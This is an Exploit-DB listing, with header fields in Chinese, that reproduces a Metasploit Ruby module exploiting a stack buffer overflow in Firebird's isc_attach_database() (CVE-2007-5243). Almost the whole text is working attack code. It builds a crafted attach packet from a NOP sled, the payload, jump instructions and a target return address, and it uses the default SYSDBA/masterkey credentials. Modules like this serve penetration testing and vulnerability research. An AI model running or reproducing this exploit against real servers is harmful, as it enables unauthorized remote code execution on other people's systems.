标题: Firebird Relational Database - 'isc_attach_database()' Remote Buffer Overflow (Metasploit) EDB-ID: 16440 CVE: 2007-5243 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: fb_isc_attach_database.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::BruteTargets

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Firebird Relational Database isc_attach_database() Buffer Overflow',
   'Description' => %q{
     This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted create request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'win',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38607' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 512,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     [ 'Brute Force', { } ],
     # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
     [
      'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
      { 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
     ],
     # Debug
     [
      'Debug',
      { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
     ],
    ],
   'DefaultTarget' => 1,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ], self.class)
 end

 # Create database parameter block
 def dpb_create
  isc_dpb_user_name = 28
  isc_dpb_password = 29

  isc_dpb_version1 = 1

  user = 'SYSDBA'
  pass = 'masterkey'

  dpb = ''

  dpb << [isc_dpb_version1].pack('c')

  dpb << [isc_dpb_user_name].pack('c')
  dpb << [user.length].pack('c')
  dpb << user

  dpb << [isc_dpb_password].pack('c')
  dpb << [pass.length].pack('c')
  dpb << pass

  dpb
 end

 # Calculate buffer padding
 def buf_padding(length = '')
  remainder = length.remainder(4)
  padding = 0

  if remainder > 0
   padding = (4 - remainder)
  end

  padding
 end

 def exploit_target(target)

  target['Length'].each do |length|

   connect

   # Attach database
   op_attach = 19

   # Extra padding to trigger the exception
   extra_padding = 1024 * 16

   buf = ''

   # Operation/packet type
   buf << [op_attach].pack('N')

   # Id
   buf << [0].pack('N')

   # Length
   buf << [length + extra_padding].pack('N')

   # Nop block
   buf << make_nops(length - payload.encoded.length - 13)

   # Payload
   buf << payload.encoded

   # Jump back into the nop block
   buf << "\xe9" + [-516].pack('V')

   # Jump back
   buf << "\xeb" + [-7].pack('c')

   # Random alpha data
   buf << rand_text_alpha(2)

   # Target
   buf << [target.ret].pack('V')

   # Random alpha data
   buf << rand_text_alpha(extra_padding)

   # Padding
   buf << "\x00" * buf_padding(length + extra_padding)

   # Database parameter block

   # Create database parameter block
   dpb = dpb_create

   # Database parameter block length
   buf << [dpb.length].pack('N')

   # Database parameter block
   buf << dpb

   # Padding
   buf << "\x00" * buf_padding(dpb.length)

   sock.put(buf)

   select(nil,nil,nil,4)

   handler

  end

 end

end URL: https://www.exploit-db.com/exploits/16440